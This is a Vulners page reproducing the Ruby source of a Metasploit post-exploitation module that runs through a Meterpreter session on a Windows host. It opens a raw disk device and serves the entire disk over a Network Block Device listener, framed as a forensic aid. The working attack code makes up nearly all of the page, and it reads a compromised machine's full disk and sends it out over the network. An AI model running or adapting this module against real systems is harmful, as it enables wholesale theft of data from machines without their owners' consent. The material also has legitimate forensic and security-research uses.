Lucene search
K

Windows Manage Local NBD Server for Remote Disks

🗓️ 09 Aug 2011 16:49:12Reported by Wesley McGrew <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 26 Views

Manage remote disks with local NBD server for forensic tool

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

#
# Maps remote disks and logical volumes to a local Network Block Device
# server. Allows for forensic tools to be executed on the remote disk
# directly.
#
# R. Wesley McGrew [email protected]
#    http://mcgrewsecurity.com
# Mississippi State University National Forensics Training Center
#    http://msu-nftc.org

class MetasploitModule < Msf::Post

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Manage Local NBD Server for Remote Disks',
        'Description' => %q{
          Maps remote disks and logical volumes to a local Network Block
          Device server. Allows for forensic tools to be executed on the remote disk directly.
        },
        'License' => MSF_LICENSE,
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Author' => ['Wesley McGrew <wesley[at]mcgrewsecurity.com>'],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
            ]
          }
        }
      )
    )
    register_options(
      [
        OptString.new('DEVICE', [true, 'Device to map (use enum_drives for possible names)', nil]),
        OptString.new('NBDIP', [false, 'IP address for NBD server', '0.0.0.0']),
        OptInt.new('NBDPORT', [false, 'TCP port for NBD server', 10005]),
      ]
    )
  end

  def run
    ip_addr = datastore['NBDIP']
    port = datastore['NBDPORT']
    devname = datastore['DEVICE']

    invalid_handle_value = 0xFFFFFFFF
    invalid_set_file_pointer = 0xFFFFFFFF
    fsctl_allow_extended_dasd_io = 0x00090083
    ioctl_disk_get_drive_geometry_ex = 0x000700A0

    r = client.railgun.kernel32.CreateFileA(devname, 'GENERIC_READ',
                                            0x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_READONLY', 0)
    handle = r['return']
    r = client.railgun.kernel32.DeviceIoControl(handle, fsctl_allow_extended_dasd_io, nil, 0, 0, 0, 4, nil)
    ioctl = client.railgun.kernel32.DeviceIoControl(handle, ioctl_disk_get_drive_geometry_ex,
                                                    '', 0, 200, 200, 4, '')
    if ioctl['GetLastError'] == 6
      ioctl = client.railgun.kernel32.DeviceIoControl(handle, ioctl_disk_get_drive_geometry_ex,
                                                      '', 0, 200, 200, 4, '')
    end
    geometry = ioctl['lpOutBuffer']
    disk_size = geometry[24, 31].unpack('Q')[0]

    socket = Rex::Socket::TcpServer.create({ 'LocalHost' => ip_addr, 'LocalPort' => port })
    print_status("Listening on #{ip_addr}:#{port}")
    print_status("Serving #{devname} (#{disk_size} bytes)")
    rsock = socket.accept
    print_status('Accepted a connection')

    # Negotiation
    rsock.put('NBDMAGIC')
    rsock.put("\x00\x00\x42\x02\x81\x86\x12\x53")

    rsock.put([disk_size].pack('Q').reverse)
    rsock.put("\x00\x00\x00\x03")  # Read-only
    rsock.put("\x00" * 124)
    print_line('Sent negotiation')

    loop do
      request = rsock.read(28)

      unless request
        print_error('No data received')
        break
      end

      magic, request, nbd_handle, offset_n, length = request.unpack('NNa8a8N')

      if magic != 0x25609513
        print_error('Wrong magic number')
        break
      end
      if request == 2
        break
      end

      if request == 1
        print_error('Attempted write on a read-only nbd')
        break
      end
      next unless request == 0

      client.railgun.kernel32.SetFilePointer(handle, offset_n[4, 7].unpack('N')[0],
                                             offset_n[0, 4].unpack('N')[0], 0)
      rsock.put("gDf\x98\x00\x00\x00\x00")
      rsock.put(nbd_handle)
      data = client.railgun.kernel32.ReadFile(handle, length, length, 4, nil)['lpBuffer']
      rsock.put(data)
    end

    print_status('Closing')
    rsock.close
    socket.close

    client.railgun.kernel32.CloseHandle(handle)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
6.8Medium risk
Vulners AI Score6.8
26